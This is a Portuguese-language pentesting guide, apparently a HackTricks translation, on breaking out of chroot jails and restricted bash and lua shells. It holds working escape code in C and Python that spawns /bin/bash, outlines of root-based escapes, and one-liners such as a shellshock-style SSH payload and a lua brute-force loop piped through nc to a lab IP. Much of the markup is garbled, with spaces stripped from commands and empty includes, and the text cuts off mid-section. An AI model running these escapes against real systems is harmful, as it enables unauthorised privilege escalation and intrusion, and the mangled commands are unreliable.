De wikipedia: O mecanismo chroot não é destinado a defender contra manipulações intencionais por usuários privilegiados (root). Na maioria dos sistemas, os contextos chroot não se empilham corretamente e programas chrooted com privilégios suficientes podem realizar um segundo chroot para escapar.
Geralmente, isso significa que para escapar você precisa ser root dentro do chroot.
A ferramentachw00t foi criada para abusar dos seguintes cenários e escapar de chroot.
Root + CWD
Se você é root dentro de um chroot, você pode escapar criando outro chroot. Isso porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois criar um novo chroot nessa nova pasta sendo você fora dele, você agora estará fora do novo chroot e, portanto, estará no FS.
Isso ocorre porque geralmente o chroot NÃO move seu diretório de trabalho para o indicado, então você pode criar um chroot mas estar fora dele.
Geralmente você não encontrará o binário chroot dentro de uma jail chroot, mas você poderia compilar, fazer upload e executar um binário:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Isso é semelhante ao caso anterior, mas neste caso o atacante armazena um descritor de arquivo para o diretório atual e então cria o chroot em uma nova pasta. Finalmente, como ele tem acesso a esse FDfora do chroot, ele acessa e escapa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD pode ser passado através de Unix Domain Sockets, então:
* Crie um processo filho (fork)
* Crie UDS para que pai e filho possam se comunicar
* Execute chroot no processo filho em uma pasta diferente
* No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho
* Passe para o processo filho esse FD usando o UDS
* O processo filho muda o diretório para esse FD, e porque está fora do seu chroot, ele escapará da prisão
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montando o dispositivo raiz (/) em um diretório dentro do chroot
* Chrooting nesse diretório
Isso é possível no Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Monte procfs em um diretório dentro do chroot (se ainda não estiver)
* Procure por um pid que tenha uma entrada de root/cwd diferente, como: /proc/1/root
* Chroot nessa entrada
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Crie um Fork (processo filho) e chroot em uma pasta diferente mais profunda no FS e CD nela
* Do processo pai, mova a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos
* Esse processo filho se encontrará fora do chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão
* De qualquer forma, se for possível, você poderia ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeração
Obtenha informações sobre a prisão:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modificar PATH
Verifique se você pode modificar a variável de ambiente PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Usando vim
:setshell=/bin/sh:shell
Criar script
Verifique se você pode criar um arquivo executável com /bin/bash como conteúdo
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Obter bash via SSH
Se você estiver acessando via ssh, pode usar este truque para executar um shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Note que toda vez que você executa a linha de comando anterior em um ambiente lua diferente, a ordem das funções muda. Portanto, se você precisar executar uma função específica, pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Obter shell lua interativo: Se você estiver dentro de um shell lua limitado, pode obter um novo shell lua (e, com sorte, ilimitado) chamando: